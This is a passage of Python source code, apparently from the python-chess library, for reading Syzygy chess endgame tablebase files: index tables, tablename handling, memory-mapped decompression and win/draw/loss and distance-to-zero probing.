-1, -1, -1, 258, ], [ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 268, -1, -1, -1, 263, -1, -1, 269, -1, -1, -1, -1, -1, 264, 270, -1, -1, -1, -1, -1, -1, -1, 265, -1, -1, -1, -1, -1, -1, -1, -1, 266, -1, -1, -1, -1, -1, -1, -1, -1, 267, -1, -1, -1, -1, -1, -1, -1, -1, -1, ], [ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 274, -1, -1, -1, -1, -1, 271, 275, -1, -1, -1, -1, -1, -1, -1, 272, -1, -1, -1, -1, -1, -1, -1, -1, 273, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, ], [ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 277, -1, -1, -1, -1, -1, -1, -1, 276, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, ]] def test45(sq: chess.Square) -> bool: return bool(chess.BB_SQUARES[sq] & (chess.BB_A5 | chess.BB_A6 | chess.BB_A7 | chess.BB_B5 | chess.BB_B6 | chess.BB_C5)) MTWIST = [ 15, 63, 55, 47, 40, 48, 56, 12, 62, 11, 39, 31, 24, 32, 8, 57, 54, 38, 7, 23, 16, 4, 33, 49, 46, 30, 22, 3, 0, 17, 25, 41, 45, 29, 21, 2, 1, 18, 26, 42, 53, 37, 6, 20, 19, 5, 34, 50, 61, 10, 36, 28, 27, 35, 9, 58, 14, 60, 52, 44, 43, 51, 59, 13, ] def binom(x: int, y: int) -> int: try: return math.factorial(x) // math.factorial(y) // math.factorial(x - y) except ValueError: return 0 PAWNIDX = [[0 for _ in range(24)] for _ in range(5)] PFACTOR = [[0 for _ in range(4)] for _ in range(5)] for i in range(5): j = 0 s = 0 while j < 6: PAWNIDX[i][j] = s s += 1 if i == 0 else binom(PTWIST[INVFLAP[j]], i) j += 1 PFACTOR[i][0] = s s = 0 while j < 12: PAWNIDX[i][j] = s s += 1 if i == 0 else binom(PTWIST[INVFLAP[j]], i) j += 1 PFACTOR[i][1] = s s = 0 while j < 18: PAWNIDX[i][j] = s s += 1 if i == 0 else binom(PTWIST[INVFLAP[j]], i) j += 1 PFACTOR[i][2] = s s = 0 while j < 24: PAWNIDX[i][j] = s s += 1 if i == 0 else binom(PTWIST[INVFLAP[j]], i) j += 1 PFACTOR[i][3] = s MULTIDX = [[0 for _ in range(10)] for _ in range(5)] MFACTOR = [0 for _ in range(5)] for i in range(5): s = 0 for j in range(10): MULTIDX[i][j] = s s += 1 if i == 0 else binom(MTWIST[INVTRIANGLE[j]], i) MFACTOR[i] = s WDL_TO_MAP = [1, 3, 0, 2, 0] PA_FLAGS = [8, 0, 0, 0, 4] WDL_TO_DTZ = [-1, -101, 0, 101, 1] PCHR = ["K", "Q", "R", "B", "N", "P"] TABLENAME_REGEX = re.compile(r"^[KQRBNP]+v[KQRBNP]+\Z") def is_tablename(name: str, *, one_king: bool = True, piece_count: Optional[int] = TBPIECES, normalized: bool = True) -> bool: return ( (piece_count is None or len(name) <= piece_count + 1) and bool(TABLENAME_REGEX.match(name)) and (not normalized or normalize_tablename(name) == name) and (not one_king or (name != "KvK" and name.startswith("K") and "vK" in name))) def tablenames(*, one_king: bool = True, piece_count: int = 6) -> Iterator[str]: first = "K" if one_king else "P" targets: List[str] = [] white_pieces = piece_count - 2 black_pieces = 0 while white_pieces >= black_pieces: targets.append(first + "P" * white_pieces + "v" + first + "P" * black_pieces) white_pieces -= 1 black_pieces += 1 return all_dependencies(targets, one_king=one_king) def normalize_tablename(name: str, *, mirror: bool = False) -> str: w, b = name.split("v", 1) w = "".join(sorted(w, key=PCHR.index)) b = "".join(sorted(b, key=PCHR.index)) if mirror ^ ((len(w), [PCHR.index(c) for c in b]) < (len(b), [PCHR.index(c) for c in w])): return b + "v" + w else: return w + "v" + b def _dependencies(target: str, *, one_king: bool = True) -> Iterator[str]: w, b = target.split("v", 1) for p in PCHR: if p == "K" and one_king: continue # Promotions. if p != "P" and "P" in w: yield normalize_tablename(w.replace("P", p, 1) + "v" + b) if p != "P" and "P" in b: yield normalize_tablename(w + "v" + b.replace("P", p, 1)) # Captures. if p in w and len(w) > 1: yield normalize_tablename(w.replace(p, "", 1) + "v" + b) if p in b and len(b) > 1: yield normalize_tablename(w + "v" + b.replace(p, "", 1)) def dependencies(target: str, *, one_king: bool = True) -> Iterator[str]: closed: Set[str] = set() if one_king: closed.add("KvK") for dependency in _dependencies(target, one_king=one_king): if dependency not in closed and len(dependency) > 2: yield dependency closed.add(dependency) def all_dependencies(targets: Iterable[str], *, one_king: bool = True) -> Iterator[str]: closed: Set[str] = set() if one_king: closed.add("KvK") open_list = [normalize_tablename(target) for target in targets] while open_list: name = open_list.pop() if name in closed: continue yield name closed.add(name) open_list.extend(_dependencies(name, one_king=one_king)) def calc_key(board: chess.BaseBoard, *, mirror: bool = False) -> str: w = board.occupied_co[chess.WHITE ^ mirror] b = board.occupied_co[chess.BLACK ^ mirror] return "".join([ "K" * chess.popcount(board.kings & w), "Q" * chess.popcount(board.queens & w), "R" * chess.popcount(board.rooks & w), "B" * chess.popcount(board.bishops & w), "N" * chess.popcount(board.knights & w), "P" * chess.popcount(board.pawns & w), "v", "K" * chess.popcount(board.kings & b), "Q" * chess.popcount(board.queens & b), "R" * chess.popcount(board.rooks & b), "B" * chess.popcount(board.bishops & b), "N" * chess.popcount(board.knights & b), "P" * chess.popcount(board.pawns & b), ]) def recalc_key(pieces: List[chess.PieceType], *, mirror: bool = False) -> str: # Some endgames are stored with a different key than their filename # indicates: http://talkchess.com/forum/viewtopic.php?p=695509#695509 w = 8 if mirror else 0 b = 0 if mirror else 8 return "".join([ "K" * pieces.count(6 ^ w), "Q" * pieces.count(5 ^ w), "R" * pieces.count(4 ^ w), "B" * pieces.count(3 ^ w), "N" * pieces.count(2 ^ w), "P" * pieces.count(1 ^ w), "v", "K" * pieces.count(6 ^ b), "Q" * pieces.count(5 ^ b), "R" * pieces.count(4 ^ b), "B" * pieces.count(3 ^ b), "N" * pieces.count(2 ^ b), "P" * pieces.count(1 ^ b), ]) def subfactor(k: int, n: int) -> int: f = n l = 1 for i in range(1, k): f *= n - i l *= i + 1 return f // l def dtz_before_zeroing(wdl: int) -> int: return ((wdl > 0) - (wdl < 0)) * (1 if abs(wdl) == 2 else 101) class MissingTableError(KeyError): """Can not probe position because a required table is missing.""" pass class PairsData: indextable: int sizetable: int data: int offset: int symlen: List[int] sympat: int blocksize: int idxbits: int min_len: int base: List[int] class PawnFileData: def __init__(self) -> None: self.precomp: Dict[int, PairsData] = {} self.factor: Dict[int, List[int]] = {} self.pieces: Dict[int, List[int]] = {} self.norm: Dict[int, List[int]] = {} class PawnFileDataDtz: precomp: PairsData factor: List[int] pieces: List[int] norm: List[int] class Table: size: List[int] def __init__(self, path: str, *, variant: Type[chess.Board] = chess.Board) -> None: self.path = path self.variant = variant self.write_lock = threading.RLock() self.initialized = False self.data: Optional[mmap.mmap] = None self.read_condition = threading.Condition() self.read_count = 0 tablename, _ = os.path.splitext(os.path.basename(path)) self.key = normalize_tablename(tablename) self.mirrored_key = normalize_tablename(tablename, mirror=True) self.symmetric = self.key == self.mirrored_key # Leave the v out of the tablename to get the number of pieces. self.num = len(tablename) - 1 self.has_pawns = "P" in tablename black_part, white_part = tablename.split("v") if self.has_pawns: self.pawns = [white_part.count("P"), black_part.count("P")] if self.pawns[1] > 0 and (self.pawns[0] == 0 or self.pawns[1] < self.pawns[0]): self.pawns[0], self.pawns[1] = self.pawns[1], self.pawns[0] else: j = 0 for piece_type in PCHR: if black_part.count(piece_type) == 1: j += 1 if white_part.count(piece_type) == 1: j += 1 if j >= 3: self.enc_type = 0 elif j == 2: self.enc_type = 2 else: # only for suicide j = 16 for _ in range(16): for piece_type in PCHR: if 1 < black_part.count(piece_type) < j: j = black_part.count(piece_type) if 1 < white_part.count(piece_type) < j: j = white_part.count(piece_type) self.enc_type = 1 + j def init_mmap(self) -> None: if self.data is None: fd = os.open(self.path, os.O_RDONLY | os.O_BINARY if hasattr(os, "O_BINARY") else os.O_RDONLY) try: data = mmap.mmap(fd, 0, access=mmap.ACCESS_READ) finally: os.close(fd) if data.size() % 64 != 16: raise IOError(f"invalid file size: ensure {self.path!r} is a valid syzygy tablebase file") try: # Unix data.madvise(mmap.MADV_RANDOM) except AttributeError: pass self.data = data def check_magic(self, magic: Optional[bytes], pawnless_magic: Optional[bytes]) -> None: assert self.data valid_magics = [magic, self.has_pawns and pawnless_magic] if self.data[:min(4, len(self.data))] not in valid_magics: raise IOError(f"invalid magic header: ensure {self.path!r} is a valid syzygy tablebase file") def setup_pairs(self, data_ptr: int, tb_size: int, size_idx: int, wdl: int) -> PairsData: assert self.data d = PairsData() self._flags = self.data[data_ptr] if self.data[data_ptr] & 0x80: d.idxbits = 0 if wdl: d.min_len = self.data[data_ptr + 1] else: # http://www.talkchess.com/forum/viewtopic.php?p=698093#698093 d.min_len = 1 if self.variant.captures_compulsory else 0 self._next = data_ptr + 2 self.size[size_idx + 0] = 0 self.size[size_idx + 1] = 0 self.size[size_idx + 2] = 0 return d d.blocksize = self.data[data_ptr + 1] d.idxbits = self.data[data_ptr + 2] real_num_blocks = self.read_uint32(data_ptr + 4) num_blocks = real_num_blocks + self.data[data_ptr + 3] max_len = self.data[data_ptr + 8] min_len = self.data[data_ptr + 9] h = max_len - min_len + 1 num_syms = self.read_uint16(data_ptr + 10 + 2 * h) d.offset = data_ptr + 10 d.symlen = [0 for _ in range(h * 8 + num_syms)] d.sympat = data_ptr + 12 + 2 * h d.min_len = min_len self._next = data_ptr + 12 + 2 * h + 3 * num_syms + (num_syms & 1) num_indices = (tb_size + (1 << d.idxbits) - 1) >> d.idxbits self.size[size_idx + 0] = 6 * num_indices self.size[size_idx + 1] = 2 * num_blocks self.size[size_idx + 2] = (1 << d.blocksize) * real_num_blocks tmp = [0 for _ in range(num_syms)] for i in range(num_syms): if not tmp[i]: self.calc_symlen(d, i, tmp) d.base = [0 for _ in range(h)] d.base[h - 1] = 0 for i in range(h - 2, -1, -1): d.base[i] = (d.base[i + 1] + self.read_uint16(d.offset + i * 2) - self.read_uint16(d.offset + i * 2 + 2)) // 2 for i in range(h): d.base[i] <<= 64 - (min_len + i) d.offset -= 2 * d.min_len return d def set_norm_piece(self, norm: List[int], pieces: List[int]) -> None: if self.enc_type == 0: norm[0] = 3 elif self.enc_type == 2: norm[0] = 2 else: norm[0] = self.enc_type - 1 i = norm[0] while i < self.num: j = i while j < self.num and pieces[j] == pieces[i]: norm[i] += 1 j += 1 i += norm[i] def calc_factors_piece(self, factor: List[int], order: int, norm: List[int]) -> int: PIVFAC = [31332, 0, 518, 278] if self.variant.connected_kings else [31332, 28056, 462] n = 64 - norm[0] f = 1 i = norm[0] k = 0 while i < self.num or k == order: if k == order: factor[0] = f if self.enc_type < 4: f *= PIVFAC[self.enc_type] else: f *= MFACTOR[self.enc_type - 2] else: factor[i] = f f *= subfactor(norm[i], n) n -= norm[i] i += norm[i] k += 1 return f def calc_factors_pawn(self, factor: List[int], order: int, order2: int, norm: List[int], f: int) -> int: i = norm[0] if order2 < 0x0f: i += norm[i] n = 64 - i fac = 1 k = 0 while i < self.num or k in [order, order2]: if k == order: factor[0] = fac fac *= PFACTOR[norm[0] - 1][f] elif k == order2: factor[norm[0]] = fac fac *= subfactor(norm[norm[0]], 48 - norm[0]) else: factor[i] = fac fac *= subfactor(norm[i], n) n -= norm[i] i += norm[i] k += 1 return fac def set_norm_pawn(self, norm: List[int], pieces: List[int]) -> None: norm[0] = self.pawns[0] if self.pawns[1]: norm[self.pawns[0]] = self.pawns[1] i = self.pawns[0] + self.pawns[1] while i < self.num: j = i while j < self.num and pieces[j] == pieces[i]: norm[i] += 1 j += 1 i += norm[i] def calc_symlen(self, d: PairsData, s: int, tmp: List[int]) -> None: assert self.data w = d.sympat + 3 * s s2 = (self.data[w + 2] << 4) | (self.data[w + 1] >> 4) if s2 == 0x0fff: d.symlen[s] = 0 else: s1 = ((self.data[w + 1] & 0xf) << 8) | self.data[w] if not tmp[s1]: self.calc_symlen(d, s1, tmp) if not tmp[s2]: self.calc_symlen(d, s2, tmp) d.symlen[s] = d.symlen[s1] + d.symlen[s2] + 1 tmp[s] = 1 def pawn_file(self, pos: List[chess.Square]) -> int: for i in range(1, self.pawns[0]): if FLAP[pos[0]] > FLAP[pos[i]]: pos[0], pos[i] = pos[i], pos[0] return FILE_TO_FILE[pos[0] & 0x07] def encode_piece(self, norm: List[int], pos: List[chess.Square], factor: List[int]) -> int: n = self.num if self.enc_type < 3: if pos[0] & 0x04: for i in range(n): pos[i] ^= 0x07 if pos[0] & 0x20: for i in range(n): pos[i] ^= 0x38 i = 0 for i in range(n): if offdiag(pos[i]): break if i < (3 if self.enc_type == 0 else 2) and offdiag(pos[i]) > 0: for i in range(n): pos[i] = flipdiag(pos[i]) if self.enc_type == 0: # 111 i = int(pos[1] > pos[0]) j = int(pos[2] > pos[0]) + int(pos[2] > pos[1]) if offdiag(pos[0]): idx = TRIANGLE[pos[0]] * 63 * 62 + (pos[1] - i) * 62 + (pos[2] - j) elif offdiag(pos[1]): idx = 6 * 63 * 62 + DIAG[pos[0]] * 28 * 62 + LOWER[pos[1]] * 62 + pos[2] - j elif offdiag(pos[2]): idx = 6 * 63 * 62 + 4 * 28 * 62 + (DIAG[pos[0]]) * 7 * 28 + (DIAG[pos[1]] - i) * 28 + LOWER[pos[2]] else: idx = 6 * 63 * 62 + 4 * 28 * 62 + 4 * 7 * 28 + (DIAG[pos[0]] * 7 * 6) + (DIAG[pos[1]] - i) * 6 + (DIAG[pos[2]] - j) i = 3 elif self.enc_type == 2: # K2 if not self.variant.connected_kings: idx = KK_IDX[TRIANGLE[pos[0]]][pos[1]] else: i = pos[1] > pos[0] if offdiag(pos[0]): idx = TRIANGLE[pos[0]] * 63 + (pos[1] - i) elif offdiag(pos[1]): idx = 6 * 63 + DIAG[pos[0]] * 28 + LOWER[pos[1]] else: idx = 6 * 63 + 4 * 28 + (DIAG[pos[0]]) * 7 + (DIAG[pos[1]] - i) i = 2 elif self.enc_type == 3: # 2, e.g. KKvK if TRIANGLE[pos[0]] > TRIANGLE[pos[1]]: pos[0], pos[1] = pos[1], pos[0] if pos[0] & 0x04: for i in range(n): pos[i] ^= 0x07 if pos[0] & 0x20: for i in range(n): pos[i] ^= 0x38 if offdiag(pos[0]) > 0 or (offdiag(pos[0]) == 0 and offdiag(pos[1]) > 0): for i in range(n): pos[i] = flipdiag(pos[i]) if test45(pos[1]) and TRIANGLE[pos[0]] == TRIANGLE[pos[1]]: pos[0], pos[1] = pos[1], pos[0] for i in range(n): pos[i] = flipdiag(pos[i] ^ 0x38) idx = PP_IDX[TRIANGLE[pos[0]]][pos[1]] i = 2 else: # 3 and higher, e.g. KKKvK and KKKKvK for i in range(1, norm[0]): if TRIANGLE[pos[0]] > TRIANGLE[pos[i]]: pos[0], pos[i] = pos[i], pos[0] if pos[0] & 0x04: for i in range(n): pos[i] ^= 0x07 if pos[0] & 0x20: for i in range(n): pos[i] ^= 0x38 if offdiag(pos[0]) > 0: for i in range(n): pos[i] = flipdiag(pos[i]) for i in range(1, norm[0]): for j in range(i + 1, norm[0]): if MTWIST[pos[i]] > MTWIST[pos[j]]: pos[i], pos[j] = pos[j], pos[i] idx = MULTIDX[norm[0] - 1][TRIANGLE[pos[0]]] i = 1 while i < norm[0]: idx += binom(MTWIST[pos[i]], i) i += 1 idx *= factor[0] while i < n: t = norm[i] for j in range(i, i + t): for k in range(j + 1, i + t): # Swap. if pos[j] > pos[k]: pos[j], pos[k] = pos[k], pos[j] s = 0 for m in range(i, i + t): p = pos[m] j = 0 for l in range(i): j += int(p > pos[l]) s += binom(p - j, m - i + 1) idx += s * factor[i] i += t return idx def encode_pawn(self, norm: List[int], pos: List[chess.Square], factor: List[int]) -> int: n = self.num if pos[0] & 0x04: for i in range(n): pos[i] ^= 0x07 for i in range(1, self.pawns[0]): for j in range(i + 1, self.pawns[0]): if PTWIST[pos[i]] < PTWIST[pos[j]]: pos[i], pos[j] = pos[j], pos[i] t = self.pawns[0] - 1 idx = PAWNIDX[t][FLAP[pos[0]]] for i in range(t, 0, -1): idx += binom(PTWIST[pos[i]], t - i + 1) idx *= factor[0] # Remaining pawns. i = self.pawns[0] t = i + self.pawns[1] if t > i: for j in range(i, t): for k in range(j + 1, t): if pos[j] > pos[k]: pos[j], pos[k] = pos[k], pos[j] s = 0 for m in range(i, t): p = pos[m] j = 0 for k in range(i): j += int(p > pos[k]) s += binom(p - j - 8, m - i + 1) idx += s * factor[i] i = t while i < n: t = norm[i] for j in range(i, i + t): for k in range(j + 1, i + t): if pos[j] > pos[k]: pos[j], pos[k] = pos[k], pos[j] s = 0 for m in range(i, i + t): p = pos[m] j = 0 for k in range(i): j += int(p > pos[k]) s += binom(p - j, m - i + 1) idx += s * factor[i] i += t return idx def decompress_pairs(self, d: PairsData, idx: int) -> int: assert self.data if not d.idxbits: return d.min_len mainidx = idx >> d.idxbits litidx = (idx & (1 << d.idxbits) - 1) - (1 << (d.idxbits - 1)) block = self.read_uint32(d.indextable + 6 * mainidx) idx_offset = self.read_uint16(d.indextable + 6 * mainidx + 4) litidx += idx_offset if litidx < 0: while litidx < 0: block -= 1 litidx += self.read_uint16(d.sizetable + 2 * block) + 1 else: while litidx > self.read_uint16(d.sizetable + 2 * block): litidx -= self.read_uint16(d.sizetable + 2 * block) + 1 block += 1 ptr = d.data + (block << d.blocksize) m = d.min_len base_idx = -m symlen_idx = 0 code = self.read_uint64_be(ptr) ptr += 2 * 4 bitcnt = 0 # Number of empty bits in code while True: l = m while code < d.base[base_idx + l]: l += 1 sym = self.read_uint16(d.offset + l * 2) sym += (code - d.base[base_idx + l]) >> (64 - l) if litidx < d.symlen[symlen_idx + sym] + 1: break litidx -= d.symlen[symlen_idx + sym] + 1 code <<= l bitcnt += l if bitcnt >= 32: bitcnt -= 32 code |= self.read_uint32_be(ptr) << bitcnt ptr += 4 # Cut off at 64bit. code &= 0xffffffffffffffff sympat = d.sympat while d.symlen[symlen_idx + sym]: w = sympat + 3 * sym s1 = ((self.data[w + 1] & 0xf) << 8) | self.data[w] if litidx < d.symlen[symlen_idx + s1] + 1: sym = s1 else: litidx -= d.symlen[symlen_idx + s1] + 1 sym = (self.data[w + 2] << 4) | (self.data[w + 1] >> 4) w = sympat + 3 * sym if isinstance(self, DtzTable): return ((self.data[w + 1] & 0x0f) << 8) | self.data[w] else: return self.data[w] def read_uint64_be(self, data_ptr: int) -> int: return UINT64_BE.unpack_from(self.data, data_ptr)[0] # type: ignore def read_uint32(self, data_ptr: int) -> int: return UINT32.unpack_from(self.data, data_ptr)[0] # type: ignore def read_uint32_be(self, data_ptr: int) -> int: return UINT32_BE.unpack_from(self.data, data_ptr)[0] # type: ignore def read_uint16(self, data_ptr: int) -> int: return UINT16.unpack_from(self.data, data_ptr)[0] # type: ignore def close(self) -> None: with self.write_lock: with self.read_condition: while self.read_count > 0: self.read_condition.wait() if self.data is not None: self.data.close() self.data = None def __enter__(self) -> Self: return self def __exit__(self, exc_type: Optional[Type[BaseException]], exc_value: Optional[BaseException], traceback: Optional[TracebackType]) -> None: self.close() class WdlTable(Table): _next: int _flags: int def init_table_wdl(self) -> None: with self.write_lock: self.init_mmap() assert self.data if self.initialized: return self.check_magic(self.variant.tbw_magic, self.variant.pawnless_tbw_magic) self.tb_size = [0 for _ in range(8)] self.size = [0 for _ in range(8 * 3)] # Used if there are only pieces. self.precomp: Dict[int, PairsData] = {} self.pieces: Dict[int, List[int]] = {} self.factor = [[0 for _ in range(TBPIECES)] for _ in range(2)] self.norm = [[0 for _ in range(self.num)] for _ in range(2)] # Used if there are pawns. self.files = [PawnFileData() for _ in range(4)] split = self.data[4] & 0x01 files = 4 if self.data[4] & 0x02 else 1 data_ptr = 5 if not self.has_pawns: self.setup_pieces_piece(data_ptr) data_ptr += self.num + 1 data_ptr += data_ptr & 0x01 self.precomp[0] = self.setup_pairs(data_ptr, self.tb_size[0], 0, True) data_ptr = self._next if split: self.precomp[1] = self.setup_pairs(data_ptr, self.tb_size[1], 3, True) data_ptr = self._next self.precomp[0].indextable = data_ptr data_ptr += self.size[0] if split: self.precomp[1].indextable = data_ptr data_ptr += self.size[3] self.precomp[0].sizetable = data_ptr data_ptr += self.size[1] if split: self.precomp[1].sizetable = data_ptr data_ptr += self.size[4] data_ptr = (data_ptr + 0x3f) & ~0x3f self.precomp[0].data = data_ptr data_ptr += self.size[2] if split: data_ptr = (data_ptr + 0x3f) & ~0x3f self.precomp[1].data = data_ptr self.key = recalc_key(self.pieces[0]) self.mirrored_key = recalc_key(self.pieces[0], mirror=True) else: s = 1 + int(self.pawns[1] > 0) for f in range(4): self.setup_pieces_pawn(data_ptr, 2 * f, f) data_ptr += self.num + s data_ptr += data_ptr & 0x01 for f in range(files): self.files[f].precomp[0] = self.setup_pairs(data_ptr, self.tb_size[2 * f], 6 * f, True) data_ptr = self._next if split: self.files[f].precomp[1] = self.setup_pairs(data_ptr, self.tb_size[2 * f + 1], 6 * f + 3, True) data_ptr = self._next for f in range(files): self.files[f].precomp[0].indextable = data_ptr data_ptr += self.size[6 * f] if split: self.files[f].precomp[1].indextable = data_ptr data_ptr += self.size[6 * f + 3] for f in range(files): self.files[f].precomp[0].sizetable = data_ptr data_ptr += self.size[6 * f + 1] if split: self.files[f].precomp[1].sizetable = data_ptr data_ptr += self.size[6 * f + 4] for f in range(files): data_ptr = (data_ptr + 0x3f) & ~0x3f self.files[f].precomp[0].data = data_ptr data_ptr += self.size[6 * f + 2] if split: data_ptr = (data_ptr + 0x3f) & ~0x3f self.files[f].precomp[1].data = data_ptr data_ptr += self.size[6 * f + 5] self.initialized = True def setup_pieces_pawn(self, p_data: int, p_tb_size: int, f: int) -> None: assert self.data j = 1 + int(self.pawns[1] > 0) order = self.data[p_data] & 0x0f order2 = self.data[p_data + 1] & 0x0f if self.pawns[1] else 0x0f self.files[f].pieces[0] = [self.data[p_data + i + j] & 0x0f for i in range(self.num)] self.files[f].norm[0] = [0 for _ in range(self.num)] self.set_norm_pawn(self.files[f].norm[0], self.files[f].pieces[0]) self.files[f].factor[0] = [0 for _ in range(TBPIECES)] self.tb_size[p_tb_size] = self.calc_factors_pawn(self.files[f].factor[0], order, order2, self.files[f].norm[0], f) order = self.data[p_data] >> 4 order2 = self.data[p_data + 1] >> 4 if self.pawns[1] else 0x0f self.files[f].pieces[1] = [self.data[p_data + i + j] >> 4 for i in range(self.num)] self.files[f].norm[1] = [0 for _ in range(self.num)] self.set_norm_pawn(self.files[f].norm[1], self.files[f].pieces[1]) self.files[f].factor[1] = [0 for _ in range(TBPIECES)] self.tb_size[p_tb_size + 1] = self.calc_factors_pawn(self.files[f].factor[1], order, order2, self.files[f].norm[1], f) def setup_pieces_piece(self, p_data: int) -> None: assert self.data self.pieces[0] = [self.data[p_data + i + 1] & 0x0f for i in range(self.num)] order = self.data[p_data] & 0x0f self.set_norm_piece(self.norm[0], self.pieces[0]) self.tb_size[0] = self.calc_factors_piece(self.factor[0], order, self.norm[0]) self.pieces[1] = [self.data[p_data + i + 1] >> 4 for i in range(self.num)] order = self.data[p_data] >> 4 self.set_norm_piece(self.norm[1], self.pieces[1]) self.tb_size[1] = self.calc_factors_piece(self.factor[1], order, self.norm[1]) def probe_wdl_table(self, board: chess.Board) -> int: try: with self.read_condition: self.read_count += 1 return self._probe_wdl_table(board) finally: with self.read_condition: self.read_count -= 1 self.read_condition.notify() def _probe_wdl_table(self, board: chess.Board) -> int: self.init_table_wdl() key = calc_key(board) if not self.symmetric: if key != self.key: cmirror = 8 mirror = 0x38 bside = int(board.turn == chess.WHITE) else: cmirror = mirror = 0 bside = int(board.turn != chess.WHITE) else: cmirror = 0 if board.turn == chess.WHITE else 8 mirror = 0 if board.turn == chess.WHITE else 0x38 bside = 0 if not self.has_pawns: p = [0 for _ in range(TBPIECES)] i = 0 while i < self.num: piece_type = self.pieces[bside][i] & 0x07 color = (self.pieces[bside][i] ^ cmirror) >> 3 bb = board.pieces_mask(piece_type, chess.WHITE if color == 0 else chess.BLACK) for square in chess.scan_forward(bb): p[i] = square i += 1 idx = self.encode_piece(self.norm[bside], p, self.factor[bside]) res = self.decompress_pairs(self.precomp[bside], idx) else: p = [0 for _ in range(TBPIECES)] i = 0 k = self.files[0].pieces[0][0] ^ cmirror color = k >> 3 piece_type = k & 0x07 bb = board.pieces_mask(piece_type, chess.WHITE if color == 0 else chess.BLACK) for square in chess.scan_forward(bb): p[i] = square ^ mirror i += 1 f = self.pawn_file(p) pc = self.files[f].pieces[bside] while i < self.num: color = (pc[i] ^ cmirror) >> 3 piece_type = pc[i] & 0x07 bb = board.pieces_mask(piece_type, chess.WHITE if color == 0 else chess.BLACK) for square in chess.scan_forward(bb): p[i] = square ^ mirror i += 1 idx = self.encode_pawn(self.files[f].norm[bside], p, self.files[f].factor[bside]) res = self.decompress_pairs(self.files[f].precomp[bside], idx) return res - 2 class DtzTable(Table): def init_table_dtz(self) -> None: with self.write_lock: self.init_mmap() assert self.data if self.initialized: return self.check_magic(self.variant.tbz_magic, self.variant.pawnless_tbz_magic) self.factor = [0 for _ in range(TBPIECES)] self.norm = [0 for _ in range(self.num)] self.tb_size = [0, 0, 0, 0] self.size = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] self.files = [PawnFileDataDtz() for _ in range(4)] files = 4 if self.data[4] & 0x02 else 1 p_data = 5 if not self.has_pawns: self.map_idx: List[List[int]] = [[0, 0, 0, 0]] self.setup_pieces_piece_dtz(p_data, 0) p_data += self.num + 1 p_data += p_data & 0x01 self.precomp = self.setup_pairs(p_data, self.tb_size[0], 0, False) self.flags: Union[int, List[int]] = self._flags p_data = self._next self.p_map = p_data if self.flags & 2: if not self.flags & 16: for i in range(4): self.map_idx[0][i] = p_data + 1 - self.p_map p_data += 1 + self.data[p_data] else: for i in range(4): self.map_idx[0][i] = (p_data + 2 - self.p_map) // 2 p_data += 2 + 2 * self.read_uint16(p_data) p_data += p_data & 0x01 self.precomp.indextable = p_data p_data += self.size[0] self.precomp.sizetable = p_data p_data += self.size[1] p_data = (p_data + 0x3f) & ~0x3f self.precomp.data = p_data p_data += self.size[2] self.key = recalc_key(self.pieces) self.mirrored_key = recalc_key(self.pieces, mirror=True) else: s = 1 + int(self.pawns[1] > 0) for f in range(4): self.setup_pieces_pawn_dtz(p_data, f, f) p_data += self.num + s p_data += p_data & 0x01 self.flags = [] for f in range(files): self.files[f].precomp = self.setup_pairs(p_data, self.tb_size[f], 3 * f, False) p_data = self._next self.flags.append(self._flags) self.map_idx = [] self.p_map = p_data for f in range(files): self.map_idx.append([]) if self.flags[f] & 2: if not self.flags[f] & 16: for _ in range(4): self.map_idx[-1].append(p_data + 1 - self.p_map) p_data += 1 + self.data[p_data] else: p_data += p_data & 0x01 for _ in range(4): self.map_idx[-1].append((p_data + 2 - self.p_map) // 2) p_data += 2 + 2 * self.read_uint16(p_data) p_data += p_data & 0x01 for f in range(files): self.files[f].precomp.indextable = p_data p_data += self.size[3 * f] for f in range(files): self.files[f].precomp.sizetable = p_data p_data += self.size[3 * f + 1] for f in range(files): p_data = (p_data + 0x3f) & ~0x3f self.files[f].precomp.data = p_data p_data += self.size[3 * f + 2] self.initialized = True def probe_dtz_table(self, board: chess.Board, wdl: int) -> Tuple[int, int]: try: with self.read_condition: self.read_count += 1 return self._probe_dtz_table(board, wdl) finally: with self.read_condition: self.read_count -= 1 self.read_condition.notify() def _probe_dtz_table(self, board: chess.Board, wdl: int) -> Tuple[int, int]: self.init_table_dtz() assert self.data key = calc_key(board) if not self.symmetric: if key != self.key: cmirror = 8 mirror = 0x38 bside = int(board.turn == chess.WHITE) else: cmirror = mirror = 0 bside = int(board.turn != chess.WHITE) else: cmirror = 0 if board.turn == chess.WHITE else 8 mirror = 0 if board.turn == chess.WHITE else 0x38 bside = 0 if not self.has_pawns: assert isinstance(self.flags, int) if (self.flags & 1) != bside and not self.symmetric: return 0, -1 pc = self.pieces p = [0 for _ in range(TBPIECES)] i = 0 while i < self.num: piece_type = pc[i] & 0x07 color = (pc[i] ^ cmirror) >> 3 bb = board.pieces_mask(piece_type, chess.WHITE if color == 0 else chess.BLACK) for square in chess.scan_forward(bb): p[i] = square i += 1 idx = self.encode_piece(self.norm, p, self.factor) res = self.decompress_pairs(self.precomp, idx) if self.flags & 2: if not self.flags & 16: res = self.data[self.p_map + self.map_idx[0][WDL_TO_MAP[wdl + 2]] + res] else: res = self.read_uint16(self.p_map + 2 * (self.map_idx[0][WDL_TO_MAP[wdl + 2]] + res)) if (not (self.flags & PA_FLAGS[wdl + 2])) or (wdl & 1): res *= 2 else: assert isinstance(self.flags, list) k = self.files[0].pieces[0] ^ cmirror piece_type = k & 0x07 color = k >> 3 bb = board.pieces_mask(piece_type, chess.WHITE if color == 0 else chess.BLACK) i = 0 p = [0 for _ in range(TBPIECES)] for square in chess.scan_forward(bb): p[i] = square ^ mirror i += 1 f = self.pawn_file(p) if self.flags[f] & 1 != bside: return 0, -1 pc = self.files[f].pieces while i < self.num: piece_type = pc[i] & 0x07 color = (pc[i] ^ cmirror) >> 3 bb = board.pieces_mask(piece_type, chess.WHITE if color == 0 else chess.BLACK) for square in chess.scan_forward(bb): p[i] = square ^ mirror i += 1 idx = 